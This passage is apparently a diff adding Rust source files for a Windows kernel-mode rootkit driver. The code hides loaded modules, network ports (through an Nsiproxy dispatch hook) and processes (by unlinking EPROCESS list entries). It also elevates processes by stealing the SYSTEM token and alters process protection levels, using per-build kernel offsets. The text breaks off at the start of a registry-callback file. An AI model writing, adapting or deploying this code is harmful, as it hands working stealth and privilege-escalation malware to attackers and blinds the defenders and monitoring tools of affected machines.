let length = core::cmp::min(buffer.len(), 255);
name[..length].copy_from_slice(&buffer[..length]);
// Populates the `ModuleInfo` structure with name, address, and index
modules.push(ModuleInfo {
name,
address: (*list_entry).DllBase as usize,
index: count as u8,
});
count += 1;
// Move to the next module in the list
next = (*next).Flink;
}
// Detaches the target process
attach_process.detach();
Ok(modules)
}
/// Hides a module in a target process by removing its entries from the module list.
///
/// # Arguments
///
/// * `target` - A pointer to a `TargetModule` structure containing information about the module to be hidden.
///
/// # Returns
///
/// * `Ok(NTSTATUS)` - If the module is successfully hidden.
/// * `Err(ShadowError)` - If an error occurs when trying to hide the module.
pub unsafe fn hide_module(pid: usize, module_name: &str) -> ShadowResult<NTSTATUS> {
let target = Process::new(pid)?;
let mut attach_process = ProcessAttach::new(target.e_process);
let target_peb = PsGetProcessPeb(target.e_process) as *mut PEB;
if target_peb.is_null() || (*target_peb).Ldr.is_null() {
return Err(ShadowError::FunctionExecutionFailed(
"PsGetProcessPeb",
line!(),
));
}
let current = &mut (*(*target_peb).Ldr).InLoadOrderModuleList as *mut wdk_sys::LIST_ENTRY;
let mut next = (*(*target_peb).Ldr).InLoadOrderModuleList.Flink;
let mut address = core::ptr::null_mut();
while next != current {
if next.is_null() {
return Err(ShadowError::NullPointer("next LIST_ENTRY"));
}
let list_entry = next as *mut LDR_DATA_TABLE_ENTRY;
if list_entry.is_null() {
return Err(ShadowError::NullPointer("next LDR_DATA_TABLE_ENTRY"));
}
let buffer = core::slice::from_raw_parts(
(*list_entry).FullDllName.Buffer,
((*list_entry).FullDllName.Length / 2) as usize,
);
if buffer.is_empty() {
return Err(ShadowError::StringConversionFailed(
(*list_entry).FullDllName.Buffer as usize,
));
}
// Check if the module name matches
let dll_name = String::from_utf16_lossy(buffer);
if dll_name.to_lowercase() == module_name {
// Removes the module from the load order list
Self::remove_link(&mut (*list_entry).InLoadOrderLinks);
Self::remove_link(&mut (*list_entry).InMemoryOrderLinks);
Self::remove_link(&mut (*list_entry).InInitializationOrderLinks);
Self::remove_link(&mut (*list_entry).HashLinks);
address = (*list_entry).DllBase;
break;
}
next = (*next).Flink;
}
// Detaches the target process
attach_process.detach();
if !address.is_null() {
Self::hide_object(address as u64, target);
}
Ok(STATUS_SUCCESS)
}
/// Hides a module in a target process by removing its entries from the module list.
///
/// # Arguments
///
/// * `pid` - The process ID of the target process.
/// * `module_name` - The name of the module to hide.
///
/// # Returns
///
/// If the module is successfully hidden.
pub unsafe fn hide_object(target_address: u64, process: Process) -> ShadowResult<()> {
let vad_root = get_vad_root();
let vad_table =
process.e_process.cast::<u8>().offset(vad_root as isize) as *mut RTL_BALANCED_NODE;
let current_node = vad_table;
// Uses a stack to iteratively traverse the tree
let mut stack = alloc::vec![vad_table];
while let Some(current_node) = stack.pop() {
if current_node.is_null() {
continue;
}
// Converts the current node to an MMVAD_SHORT
let vad_short = current_node as *mut MMVAD_SHORT;
// Calculates start and end addresses
let mut start_address = (*vad_short).StartingVpn as u64;
let mut end_address = (*vad_short).EndingVpn as u64;
// Uses StartingVpnHigh and EndingVpnHigh to assemble the complete address
start_address |= ((*vad_short).StartingVpnHigh as u64) << 32;
end_address |= ((*vad_short).EndingVpnHigh as u64) << 32;
// Multiply the addresses by 0x1000 (page size) to get the real addresses
let start_address = start_address * 0x1000;
let end_address = end_address * 0x1000;
if (*vad_short).u.VadFlags.VadType() == Self::VAD_IMAGE_MAP
&& target_address >= start_address
&& target_address <= end_address
{
let long_node = vad_short as *mut MMVAD;
let subsection = (*long_node).SubSection;
if subsection.is_null()
|| (*subsection).ControlArea.is_null()
|| (*(*subsection).ControlArea)
.FilePointer
.Inner
.Object
.is_null()
{
return Err(ShadowError::NullPointer("SUBSECTION"));
}
let file_object = ((*(*subsection).ControlArea).FilePointer.Inner.Value & !0xF)
as *mut FILE_OBJECT;
core::ptr::write_bytes(
(*file_object).FileName.Buffer,
0,
(*file_object).FileName.Length as usize,
);
break;
}
// Stack the right node (if there is one)
if !(*vad_short)
.VadNode
.__bindgen_anon_1
.__bindgen_anon_1
.Right
.is_null()
{
stack.push((*vad_short).VadNode.__bindgen_anon_1.__bindgen_anon_1.Right);
}
// Stack the left node (if there is one)
if !(*vad_short)
.VadNode
.__bindgen_anon_1
.__bindgen_anon_1
.Left
.is_null()
{
stack.push((*vad_short).VadNode.__bindgen_anon_1.__bindgen_anon_1.Left);
}
}
Ok(())
}
/// Removes an entry from a doubly linked list.
///
/// # Arguments
///
/// * `list` - A mutable reference to the `LIST_ENTRY` structure to unlink.
unsafe fn remove_link(list: &mut wdk_sys::LIST_ENTRY) {
let next = list.Flink;
let previous = list.Blink;
(*next).Blink = previous;
(*previous).Flink = next;
list.Flink = list;
list.Blink = list;
}
}
/// Represents information about a loaded module.
#[derive(Debug)]
pub struct ModuleInfo {
/// The module name stored as a UTF-16 string.
pub name: [u16; 256],
/// The base address of the module in memory.
pub address: usize,
/// The module's index in the enumeration order.
pub index: u8,
}

View File

@@ -0,0 +1,455 @@
use alloc::vec::Vec;
use core::{
ffi::c_void,
mem::size_of,
ptr::{copy, null_mut},
slice::from_raw_parts_mut,
sync::atomic::{AtomicBool, AtomicPtr, Ordering},
};
use spin::{lazy::Lazy, Mutex};
use wdk::println;
use wdk_sys::{
ntddk::{ExFreePool, ObfDereferenceObject},
_MODE::KernelMode,
*,
};
use crate::{
data::*,
error::{ShadowError, ShadowResult},
utils::{pool::PoolMemory, uni::str_to_unicode, *},
};
use common::{
enums::{PortType, Protocol},
structs::TargetPort,
};
// The maximum number of ports that can be hidden
const MAX_PORT: usize = 100;
/// Holds the original NSI dispatch function.
static mut ORIGINAL_NSI_DISPATCH: AtomicPtr<()> = AtomicPtr::new(null_mut());
/// Indicates whether the callback has been activated.
pub static HOOK_INSTALLED: AtomicBool = AtomicBool::new(false);
/// List of protected ports, synchronized with a mutex.
pub static PROTECTED_PORTS: Lazy<Mutex<Vec<TargetPort>>> =
Lazy::new(|| Mutex::new(Vec::with_capacity(100)));
/// Represents a Network structure used for hooking into the NSI proxy driver.
pub struct Network;
impl Network {
/// Control code for the NSI communication.
const NIS_CONTROL_CODE: u32 = 1179675;
/// Network driver name.
const NSI_PROXY: &str = "\\Driver\\Nsiproxy";
/// Installs a hook into the NSI proxy driver to intercept network table operations.
///
/// # Returns
///
/// If the hook is installed successfully.
pub unsafe fn install_hook() -> ShadowResult<NTSTATUS> {
let mut driver_object: *mut DRIVER_OBJECT = null_mut();
let status = ObReferenceObjectByName(
&mut str_to_unicode(Self::NSI_PROXY).to_unicode(),
OBJ_CASE_INSENSITIVE,
null_mut(),
0,
*IoDriverObjectType,
KernelMode as i8,
null_mut(),
&mut driver_object as *mut _ as *mut *mut c_void,
);
// Check if the driver object was referenced successfully.
if !NT_SUCCESS(status) {
return Err(ShadowError::ApiCallFailed(
"ObReferenceObjectByName",
status,
));
}
// Try to replace the original IRP_MJ_DEVICE_CONTROL dispatch function.
let major_function = &mut (*driver_object).MajorFunction[IRP_MJ_DEVICE_CONTROL as usize];
if let Some(original_function) = major_function.take() {
// Store the original dispatch function.
let original_function_ptr = original_function as *mut ();
ORIGINAL_NSI_DISPATCH.store(original_function_ptr, Ordering::SeqCst);
// Replace the dispatch function with the hook.
*major_function = Some(Self::hook_nsi);
HOOK_INSTALLED.store(true, Ordering::SeqCst);
} else {
ObfDereferenceObject(driver_object.cast());
return Err(ShadowError::HookFailure);
}
// Dereference the driver object after setting up the hook.
ObfDereferenceObject(driver_object.cast());
Ok(STATUS_SUCCESS)
}
/// Uninstalls the NSI hook, restoring the original dispatch function.
///
/// # Returns
///
/// If the hook was successfully uninstalled.
pub unsafe fn uninstall_hook() -> ShadowResult<NTSTATUS> {
let mut driver_object: *mut DRIVER_OBJECT = null_mut();
let status = ObReferenceObjectByName(
&mut str_to_unicode(Self::NSI_PROXY).to_unicode(),
OBJ_CASE_INSENSITIVE,
null_mut(),
0,
*IoDriverObjectType,
KernelMode as i8,
null_mut(),
&mut driver_object as *mut _ as *mut *mut c_void,
);
// Handle error if the driver object can't be referenced.
if !NT_SUCCESS(status) {
return Err(ShadowError::ApiCallFailed(
"ObReferenceObjectByName",
status,
));
}
// If the hook is installed, restore the original dispatch function.
if HOOK_INSTALLED.load(Ordering::SeqCst) {
let major_function =
&mut (*driver_object).MajorFunction[IRP_MJ_DEVICE_CONTROL as usize];
let original_function_ptr = ORIGINAL_NSI_DISPATCH.load(Ordering::SeqCst);
if !original_function_ptr.is_null() {
let original_function = core::mem::transmute(original_function_ptr);
*major_function = original_function;
HOOK_INSTALLED.store(false, Ordering::SeqCst);
} else {
ObfDereferenceObject(driver_object.cast());
return Err(ShadowError::HookFailure);
}
} else {
ObfDereferenceObject(driver_object.cast());
return Err(ShadowError::HookFailure);
}
// Dereference the driver object after removing the hook.
ObfDereferenceObject(driver_object.cast());
Ok(STATUS_SUCCESS)
}
/// Hooked dispatch function that intercepts NSI proxy requests and modifies network table entries.
///
/// This function intercepts network requests (IRPs) sent to the NSI proxy driver when the control
/// code matches `NIS_CONTROL_CODE`. It replaces the completion routine with a custom handler
/// to inspect and potentially modify network entries.
///
/// # Arguments
///
/// * `device_object` - Pointer to the device object associated with the request.
/// * `irp` - Pointer to the IRP (I/O Request Packet) being processed.
///
/// # Returns
///
/// The result of the original dispatch function, or `STATUS_UNSUCCESSFUL` if the hook fails.
unsafe extern "C" fn hook_nsi(device_object: *mut DEVICE_OBJECT, irp: *mut IRP) -> NTSTATUS {
let stack = (*irp)
.Tail
.Overlay
.__bindgen_anon_2
.__bindgen_anon_1
.CurrentStackLocation;
// If the control code matches, we replace the completion routine with a custom one.
let control_code = (*stack).Parameters.DeviceIoControl.IoControlCode;
if control_code == Self::NIS_CONTROL_CODE {
let context = PoolMemory::new(
POOL_FLAG_NON_PAGED,
size_of::<(PIO_COMPLETION_ROUTINE, *mut c_void)>() as u64,
"giud",
);
if let Some(addr) = context {
let address = addr.ptr as *mut (PIO_COMPLETION_ROUTINE, *mut c_void);
(*address).0 = (*stack).CompletionRoutine;
(*address).1 = (*stack).Context;
(*stack).Context = address as *mut c_void;
(*stack).CompletionRoutine = Some(irp_complete);
(*stack).Control |= SL_INVOKE_ON_SUCCESS as u8;
// Prevent memory deallocation.
core::mem::forget(addr);
}
}
// Call the original dispatch function.
let original_function_ptr = ORIGINAL_NSI_DISPATCH.load(Ordering::SeqCst);
let original_function: PDRIVER_DISPATCH = core::mem::transmute(original_function_ptr);
original_function.map_or(STATUS_UNSUCCESSFUL, |func| func(device_object, irp))
}
}
/// Completion routine that modifies network table entries after an NSI operation.
///
/// This function is called when the IRP operation completes, and it processes the network
/// table entries (TCP/UDP) to inspect or modify them. It then calls the original completion
/// routine, passing the results of the modified entries back to the caller.
///
/// # Arguments
///
/// * `device_object` - Pointer to the device object associated with the IRP.
/// * `irp` - Pointer to the IRP being completed.
/// * `context` - Pointer to the context, containing the original completion routine and its arguments.
///
/// # Returns
///
/// The result of the original completion routine, or `STATUS_SUCCESS` if processing was successful.
unsafe extern "C" fn irp_complete(
device_object: *mut DEVICE_OBJECT,
irp: *mut IRP,
context: *mut c_void,
) -> NTSTATUS {
let context_addr = context as *mut (PIO_COMPLETION_ROUTINE, *mut c_void);
// Validate the status of the IRP.
if NT_SUCCESS((*irp).IoStatus.__bindgen_anon_1.Status) {
let nsi_param = (*irp).UserBuffer as *mut NSI_PARAM;
let mut status_success = true;
// Ensure that the NSI parameter is valid and the context can be accessed.
if !valid_user_memory(nsi_param as u64) {
status_success = false;
} else if valid_kernel_memory(nsi_param as u64) || nsi_param.is_null() {
status_success = false;
}
// If the entries are valid, process them.
if status_success && !(*nsi_param).Entries.is_null() && (*nsi_param).EntrySize != 0 {
let tcp_entries = (*nsi_param).Entries as *mut NSI_TABLE_TCP_ENTRY;
let udp_entries = (*nsi_param).Entries as *mut NSI_UDP_ENTRY;
// Loop through all entries in the NSI parameter.
for i in 0..(*nsi_param).Count {
match (*nsi_param).Type_ {
COMUNICATION_TYPE::TCP => {
if valid_user_memory((*tcp_entries.add(i)).Local.Port as u64)
|| valid_user_memory((*tcp_entries.add(i)).Remote.Port as u64)
{
// Convert the port numbers from big-endian to the host's native format.
let local_port = u16::from_be((*tcp_entries.add(i)).Local.Port);
let remote_port = u16::from_be((*tcp_entries.add(i)).Remote.Port);
// Process the TCP entry by copying it into the NSI table, updating ports if necessary.
process_entry_copy(
tcp_entries,
(*nsi_param).Count,
i,
local_port,
Some(remote_port),
Protocol::TCP,
(*nsi_param).StatusEntries,
(*nsi_param).ProcessEntries,
nsi_param,
);
}
}
COMUNICATION_TYPE::UDP => {
// Check if the UDP local port is a valid user-mode memory address.
if valid_user_memory((*udp_entries.add(i)).Port as u64) {
// Convert the local port number from big-endian to the host's native format.
let local_port = u16::from_be((*udp_entries.add(i)).Port);
// Process the UDP entry by copying it into the NSI table, updating ports if necessary.
process_entry_copy(
udp_entries,
(*nsi_param).Count,
i,
local_port,
None,
Protocol::UDP,
(*nsi_param).StatusEntries,
(*nsi_param).ProcessEntries,
nsi_param,
);
}
}
}
}
}
}
// Call the original completion routine if one exists.
if let Some(original_routine) = (*context_addr).0 {
let mut original_context = null_mut();
if !(*context_addr).1.is_null() {
original_context = (*context_addr).1;
}
ExFreePool(context.cast());
return original_routine(device_object, irp, original_context);
}
ExFreePool(context.cast());
STATUS_SUCCESS
}
/// Copies network table entries (TCP/UDP) from one index to another and updates associated status
/// and process entries if necessary.
///
/// # Arguments
///
/// * `entries` - A pointer to the list of TCP or UDP entries. The type is generic (`T`), and the pointer must be safely dereferenced.
/// * `count` - The total number of entries in the table. Defines the size of the `entries` buffer.
/// * `i` - The index of the current entry being processed.
/// * `local_port` - The local port number associated with the current entry.
/// * `remote_port` - An `Option<u16>` that may contain the remote port number associated with the current entry, or `None`.
/// * `protocol` - The protocol type (TCP or UDP) being processed for this entry.
/// * `status_entries` - A pointer to the list of status entries related to the network connections.
/// * `process_entries` - A pointer to the list of process entries related to the network connections.
/// * `nsi_param` - A pointer to the `NSI_PARAM` structure, which contains information about the network table.
unsafe fn process_entry_copy<T: Sized>(
entries: *mut T,
count: usize,
i: usize,
local_port: u16,
remote_port: Option<u16>,
protocol: Protocol,
status_entries: *mut NSI_STATUS_ENTRY,
process_entries: *mut NSI_PROCESS_ENTRY,
nsi_param: *mut NSI_PARAM,
) {
let port_number = match (local_port, remote_port) {
// Use remote port if local is zero
(0, Some(remote)) if remote != 0 => remote,
// Use local port if it's non-zero
(local, _) if local != 0 => local,
_ => {
println!("Both doors are zero, there is no way to process the entrance.");
return;
}
};
let port_type = if remote_port.unwrap_or(0) != 0 {
PortType::REMOTE
} else {
PortType::LOCAL
};
let info = TargetPort {
protocol,
port_type,
port_number,
enable: true,
};
// If the port is protected, modify the network entries
if PROTECTED_PORTS.lock().contains(&info) {
let mut entries_index = i + 1;
if entries_index >= count {
entries_index = i - 1;
}
// Copies TCP/UDP entries
let entries_slice = from_raw_parts_mut(entries, count);
copy(
&entries_slice[entries_index],
&mut entries_slice[i],
count - entries_index,
);
// Verify and copy status_entries
if !status_entries.is_null() {
let status_entries_slice = from_raw_parts_mut(status_entries, count);
if entries_index < status_entries_slice.len() {
copy(
&status_entries_slice[entries_index],
&mut status_entries_slice[i],
count - entries_index,
);
}
}
// Check and copy process_entries
if !process_entries.is_null() {
let process_entries_slice = from_raw_parts_mut(process_entries, count);
if entries_index < process_entries_slice.len() {
copy(
&process_entries_slice[entries_index],
&mut process_entries_slice[i],
count - entries_index,
);
}
}
}
}
/// Adds a port to the list of protected ports.
///
/// # Arguments
///
/// * `port` - A mutable pointer to a [`TargetPort`] structure.
///
/// # Return
///
/// If the port is successfully added to the list.
pub fn add_port(port: *mut TargetPort) -> NTSTATUS {
if port.is_null() {
return STATUS_UNSUCCESSFUL;
}
let mut ports = PROTECTED_PORTS.lock();
let port = unsafe { *port };
if ports.len() >= MAX_PORT {
return STATUS_UNSUCCESSFUL;
}
if ports.contains(&port) {
return STATUS_DUPLICATE_OBJECTID;
}
ports.push(port);
STATUS_SUCCESS
}
/// Removes a port from the list of protected ports.
///
/// # Arguments
///
/// * `port` - A mutable pointer to a [`TargetPort`] structure.
///
/// # Return
///
/// If the port is successfully removed from the list.
pub unsafe fn remove_port(port: *mut TargetPort) -> NTSTATUS {
if port.is_null() {
return STATUS_UNSUCCESSFUL;
}
let mut ports = PROTECTED_PORTS.lock();
(*port).enable = true;
if let Some(index) = ports.iter().position(|&p| {
p.protocol == (*port).protocol
&& p.port_type == (*port).port_type
&& p.port_number == (*port).port_number
}) {
ports.remove(index);
STATUS_SUCCESS
} else {
println!("Port {:?} not found in the list", port);
STATUS_UNSUCCESSFUL
}
}

View File

@@ -0,0 +1,156 @@
use spin::Lazy;
use wdk_sys::{ntddk::RtlGetVersion, RTL_OSVERSIONINFOW};
const WIN_1507: u32 = 10240;
const WIN_1511: u32 = 10586;
const WIN_1607: u32 = 14393;
const WIN_1703: u32 = 15063;
const WIN_1709: u32 = 16299;
const WIN_1803: u32 = 17134;
const WIN_1809: u32 = 17763;
const WIN_1903: u32 = 18362;
const WIN_1909: u32 = 18363;
const WIN_2004: u32 = 19041;
const WIN_20H2: u32 = 19042;
const WIN_21H1: u32 = 19043;
const WIN_21H2: u32 = 19044;
const WIN_22H2: u32 = 19045;
#[allow(dead_code)]
const WIN_1121H2: u32 = 22000;
#[allow(dead_code)]
const WIN_1122H2: u32 = 22621;
/// Holds the Windows build number initialized at runtime.
static BUILD_NUMBER: Lazy<u32> = Lazy::new(|| get_windows_build_number());
/// Retrieves the process lock offset based on the current Windows build number.
///
/// # Returns
///
/// The offset (in bytes) to the process lock field.
#[inline]
pub fn get_process_lock() -> isize {
match *BUILD_NUMBER {
WIN_1507 => 0x608,
WIN_1511 => 0x610,
WIN_1607 => 0x620,
WIN_1703 | WIN_1709 | WIN_1803 | WIN_1809 => 0x628,
WIN_1903 | WIN_1909 => 0x658,
_ => 0x7d8,
}
}
/// Retrieves the active process link offset based on the current Windows build number.
///
/// # Returns
///
/// The offset (in bytes) to the active process link.
#[inline]
pub fn get_active_process_link_offset() -> isize {
match *BUILD_NUMBER {
WIN_1507 | WIN_1511 | WIN_1607 | WIN_1903 | WIN_1909 => 0x2f0,
WIN_1703 | WIN_1709 | WIN_1803 | WIN_1809 => 0x2e8,
_ => 0x448,
}
}
/// Retrieves the VAD root offset based on the current Windows build number.
///
/// # Returns
///
/// The offset (in bytes) to the VAD root field.
#[inline]
pub fn get_vad_root() -> u32 {
match *BUILD_NUMBER {
WIN_1507 => 0x608,
WIN_1511 => 0x610,
WIN_1607 => 0x620,
WIN_1703 | WIN_1709 | WIN_1803 | WIN_1809 => 0x628,
WIN_1903 | WIN_1909 => 0x658,
_ => 0x7d8,
}
}
/// Retrieves the token offset based on the current Windows build number.
///
/// # Returns
///
/// The offset (in bytes) to the token field in the `EPROCESS` structure.
#[inline]
pub fn get_token_offset() -> isize {
match *BUILD_NUMBER {
WIN_1903 | WIN_1909 => 0x360,
WIN_1507 | WIN_1511 | WIN_1607 | WIN_1703 | WIN_1709 | WIN_1803 | WIN_1809 => 0x358,
_ => 0x4b8,
}
}
/// Retrieves the protection signature offset based on the current Windows build number.
///
/// # Returns
///
/// The offset (in bytes) to the protection signature field in the `EPROCESS` structure.
#[inline]
pub fn get_signature_offset() -> isize {
match *BUILD_NUMBER {
WIN_1903 | WIN_1909 => 0x6f8,
WIN_1703 | WIN_1709 | WIN_1803 | WIN_1809 => 0x6c8,
WIN_1607 => 0x6c0,
WIN_1511 => 0x6b0,
WIN_1507 => 0x6a8,
_ => 0x878,
}
}
/// Retrieves the thread list entry offset based on the current Windows build number.
///
/// # Returns
///
/// The offset (in bytes) to the thread list entry in the `EPROCESS` structure.
#[inline]
pub fn get_thread_lock_offset() -> isize {
match *BUILD_NUMBER {
WIN_1507 | WIN_1511 => 0x690,
WIN_1607 => 0x698,
WIN_1703 => 0x6a0,
WIN_1709 | WIN_1803 | WIN_1809 => 0x6a8,
WIN_1903 | WIN_1909 => 0x6b8,
WIN_2004 | WIN_20H2 | WIN_21H1 | WIN_21H2 => 0x4e8,
WIN_22H2 => 0x500,
_ => 0x538,
}
}
/// Retrieves the thread lock offset based on the current Windows build number.
///
/// # Returns
///
/// The offset (in bytes) to the thread lock field in the `EPROCESS` structure.
#[inline]
pub fn get_thread_list_entry_offset() -> isize {
match *BUILD_NUMBER {
WIN_1507 => 0x480,
WIN_1511 | WIN_1607 | WIN_1703 | WIN_1709 | WIN_1803 | WIN_1809 | WIN_1903 | WIN_1909 => {
0x488
}
WIN_22H2 => 0x4e8,
_ => 0x5e0,
}
}
/// Retrieves the Windows build number using the `RtlGetVersion` API.
///
/// # Returns
///
/// The Windows build number or `0` if the call to `RtlGetVersion` fails.
#[inline]
pub fn get_windows_build_number() -> u32 {
unsafe {
let mut os_info: RTL_OSVERSIONINFOW = core::mem::zeroed();
if RtlGetVersion(&mut os_info) == 0 {
return os_info.dwBuildNumber;
}
}
0
}

View File

@@ -0,0 +1,320 @@
use alloc::vec::Vec;
use common::structs::TargetProcess;
use log::{error, info};
use spin::{Lazy, Mutex};
use wdk_sys::ntddk::{
ObfDereferenceObject, PsLookupProcessByProcessId, ZwClose, ZwOpenProcess, ZwTerminateProcess,
};
use wdk_sys::*;
use crate::error::{ShadowError, ShadowResult};
use crate::lock::with_push_lock_exclusive;
use crate::offsets::{
get_active_process_link_offset, get_process_lock, get_signature_offset, get_token_offset,
};
use crate::PROCESS_SIGNATURE;
// Max Number PIDs
const MAX_PID: usize = 100;
// System process (By default the PID is 4)
const SYSTEM_PROCESS: usize = 4;
/// List of target processes protected by a mutex.
pub static PROCESS_INFO_HIDE: Lazy<Mutex<Vec<TargetProcess>>> =
Lazy::new(|| Mutex::new(Vec::with_capacity(MAX_PID)));
/// Represents a process in the operating system.
pub struct Process {
/// Pointer to the EPROCESS structure, used for managing process information.
pub e_process: PEPROCESS,
}
impl Process {
/// Creates a new `Process`.
///
/// # Arguments
///
/// * `pid` - The process identifier (PID) of the process to be looked up.
///
/// # Examples
///
/// ```rust,ignore
/// let process = Process::new(1234);
/// match process {
/// Ok(proc) => println!("Process found: {:?}", proc.e_process),
/// Err(e) => println!("Error: {}", e),
/// }
/// ```
#[inline]
pub fn new(pid: usize) -> ShadowResult<Self> {
let mut e_process = core::ptr::null_mut();
let status = unsafe { PsLookupProcessByProcessId(pid as _, &mut e_process) };
if NT_SUCCESS(status) {
Ok(Self { e_process })
} else {
Err(ShadowError::ApiCallFailed(
"PsLookupProcessByProcessId",
status,
))
}
}
/// Hides a process by removing it from the active process list in the operating system.
///
/// # Arguments
///
/// * `pid` - The process identifier (PID) of the target process to be hidden.
///
/// # Returns
///
/// The previous `LIST_ENTRY` containing the pointers to the neighboring processes
/// in the list before it was modified.
pub unsafe fn hide_process(pid: usize) -> ShadowResult<LIST_ENTRY> {
// Log the start of the process hiding routine.
info!("Attempting to hide process with PID: {}", pid);
// Getting offsets based on the Windows build number
let active_process_link = get_active_process_link_offset();
let offset_lock = get_process_lock();
// Retrieve the EPROCESS structure for the target process
let process = Self::new(pid)?;
info!(
"Found EPROCESS for PID {} at address: {:p}",
pid, process.e_process
);
// Retrieve the `LIST_ENTRY` for the active process link.
let current = process.e_process.cast::<u8>().offset(active_process_link) as PLIST_ENTRY;
info!("Current LIST_ENTRY pointer: {:p}", current);
// Retrieve the push lock for synchronization.
let push_lock = process.e_process.cast::<u8>().offset(offset_lock) as *mut u64;
info!("Using push lock at: {:p}", push_lock);
// Use synchronization to ensure thread safety while modifying the list.
with_push_lock_exclusive(push_lock, || {
info!("Acquired exclusive push lock for process hiding");
// The next process in the chain
let next = (*current).Flink;
// The previous process in the chain
let previous = (*current).Blink;
info!(
"Before unlink: current->Flink = {:p}, current->Blink = {:p}",
(*current).Flink,
(*current).Blink
);
info!(
"Neighboring entries: next = {:p}, previous = {:p}",
next, previous
);
// Check if the neighboring pointers are valid before proceeding
if next.is_null() || previous.is_null() {
error!(
"One or both of the neighboring pointers are null. Aborting unlink operation."
);
return Err(ShadowError::InvalidListEntry);
}
// Storing the previous list entry, which will be returned
let previous_link = LIST_ENTRY {
Flink: next as *mut LIST_ENTRY,
Blink: previous as *mut LIST_ENTRY,
};
// Unlink the process from the active list
(*next).Blink = previous;
(*previous).Flink = next;
info!("Unlinked process from active process list");
// Make the current list entry point to itself to hide the process
(*current).Flink = current;
(*current).Blink = current;
info!("Process LIST_ENTRY modified to point to itself");
// Log final state of the current entry
info!(
"Final state of current LIST_ENTRY: Flink = {:p}, Blink = {:p}",
(*current).Flink,
(*current).Blink
);
Ok(previous_link)
})
}
/// Unhides a process by restoring it to the active process list in the operating system.
///
/// # Arguments
///
/// * `pid` - The process identifier (PID) of the target process to be unhidden.
/// * `list_entry` - A pointer to the previous `LIST_ENTRY`, containing the neighboring processes in the list,
/// which was saved when the process was hidden.
///
/// # Returns
///
/// Indicates the process was successfully restored to the active list.
pub unsafe fn unhide_process(pid: usize, list_entry: PLIST_ENTRY) -> ShadowResult<NTSTATUS> {
// Getting offsets based on the Windows build number
let active_process_link = get_active_process_link_offset();
let offset_lock = get_process_lock();
// Retrieve the EPROCESS structure for the target process
let process = Self::new(pid)?;
// Retrieve the `LIST_ENTRY` for the active process link, which connects the process
// to the list of active processes in the system.
let current = process.e_process.cast::<u8>().offset(active_process_link) as PLIST_ENTRY;
let push_lock = process.e_process.cast::<u8>().offset(offset_lock) as *mut u64;
// Use synchronization to ensure thread safety while modifying the list
with_push_lock_exclusive(push_lock, || {
// Restore the `Flink` and `Blink` from the saved `list_entry`
(*current).Flink = (*list_entry).Flink as *mut _LIST_ENTRY;
(*current).Blink = (*list_entry).Blink as *mut _LIST_ENTRY;
// Re-link the process to the neighboring processes in the chain
let next = (*current).Flink;
let previous = (*current).Blink;
(*next).Blink = current;
(*previous).Flink = current;
});
Ok(STATUS_SUCCESS)
}
/// Enumerates all currently hidden processes.
///
/// # Returns
///
/// A vector containing the information of all hidden processes.
pub unsafe fn enumerate_hide_processes() -> Vec<TargetProcess> {
let mut processes: Vec<TargetProcess> = Vec::new();
let process_info = PROCESS_INFO_HIDE.lock();
for i in process_info.iter() {
processes.push(TargetProcess {
pid: (*i).pid as usize,
..Default::default()
});
}
processes
}
/// Elevates a process by setting its token to the system process token.
///
/// # Arguments
///
/// * `pid` - The process identifier (PID) of the target process to elevate.
///
/// # Returns
///
/// Indicates that the token was successfully elevated.
pub unsafe fn elevate_process(pid: usize) -> ShadowResult<NTSTATUS> {
// Get the offset for the token in the EPROCESS structure
let offset = get_token_offset();
// Retrieving EPROCESS from the target process
let target = Self::new(pid)?;
// Retrieve the EPROCESS for the system process (PID 4)
let system = Self::new(SYSTEM_PROCESS)?;
// Access the Token field in the EPROCESS structure of both the target and system processes
let target_token_ptr = target.e_process.cast::<u8>().offset(offset) as *mut u64;
let system_token_ptr = system.e_process.cast::<u8>().offset(offset) as *mut u64;
// Copy the system process token to the target process
target_token_ptr.write(system_token_ptr.read());
Ok(STATUS_SUCCESS)
}
/// Modifies the protection signature (PP / PPL) of a process in the operating system.
///
/// # Arguments
///
/// * `pid` - The process identifier (PID) of the target process whose protection signature will be modified.
/// * `sg` - The signature level (signer) to be set for the process.
/// * `pt` - The protection type to be applied to the process.
///
/// # Returns
///
/// If the signature and protection levels were successfully updated.
pub unsafe fn protection_signature(pid: usize, sg: usize, tp: usize) -> ShadowResult<NTSTATUS> {
// Get the offset for the protection signature within the EPROCESS structure
let offset = get_signature_offset();
// Retrieve the EPROCESS structure for the target process
let process = Self::new(pid)?;
// Create the new protection signature value by combining the signature level and protection type
let new_sign = (sg << 4) | tp;
let process_signature =
process.e_process.cast::<u8>().offset(offset) as *mut PROCESS_SIGNATURE;
// Modify the signature level and protection type of the target process
(*process_signature).SignatureLevel = new_sign as u8;
(*process_signature).Protection.SetType(tp as u8);
(*process_signature).Protection.SetSigner(sg as u8);
Ok(STATUS_SUCCESS)
}
/// Terminates a process in the operating system using its process identifier (PID).
///
/// # Arguments
///
/// * `pid` - The process identifier (PID) of the process to be terminated.
///
/// # Returns
///
/// If the process was successfully terminated.
pub unsafe fn terminate_process(pid: usize) -> ShadowResult<NTSTATUS> {
let mut h_process: HANDLE = core::ptr::null_mut();
let mut object_attributes: OBJECT_ATTRIBUTES = core::mem::zeroed();
let mut client_id = CLIENT_ID {
UniqueProcess: pid as _,
UniqueThread: core::ptr::null_mut(),
};
// Open a handle to the target process with all access rights
let mut status = ZwOpenProcess(
&mut h_process,
PROCESS_ALL_ACCESS,
&mut object_attributes,
&mut client_id,
);
if !NT_SUCCESS(status) {
return Err(ShadowError::ApiCallFailed("ZwOpenProcess", status));
}
// Terminate the process with an exit code of 0
status = ZwTerminateProcess(h_process, 0);
if !NT_SUCCESS(status) {
return Err(ShadowError::ApiCallFailed("ZwTerminateProcess", status));
}
// Close the handle to the process
status = ZwClose(h_process);
if !NT_SUCCESS(status) {
return Err(ShadowError::ApiCallFailed("ZwClose", status));
}
Ok(STATUS_SUCCESS)
}
}
impl Drop for Process {
fn drop(&mut self) {
if !self.e_process.is_null() {
unsafe { ObfDereferenceObject(self.e_process.cast()) };
}
}
}

View File

@@ -0,0 +1,418 @@
#![allow(non_upper_case_globals)]
use alloc::{format, string::String};
use core::{ffi::c_void, ptr::null_mut};
use wdk::println;
use wdk_sys::ntddk::*;
use wdk_sys::_REG_NOTIFY_CLASS::*;
use wdk_sys::{_MODE::KernelMode, *};
use super::utils::{check_key_value, enumerate_value_key, RegistryInfo};
use super::*;
use crate::{
registry::{
utils::{check_key, enumerate_key},
Registry,
},
utils::{pool::PoolMemory, valid_kernel_memory},
};
/// Handle for Registry Callback.
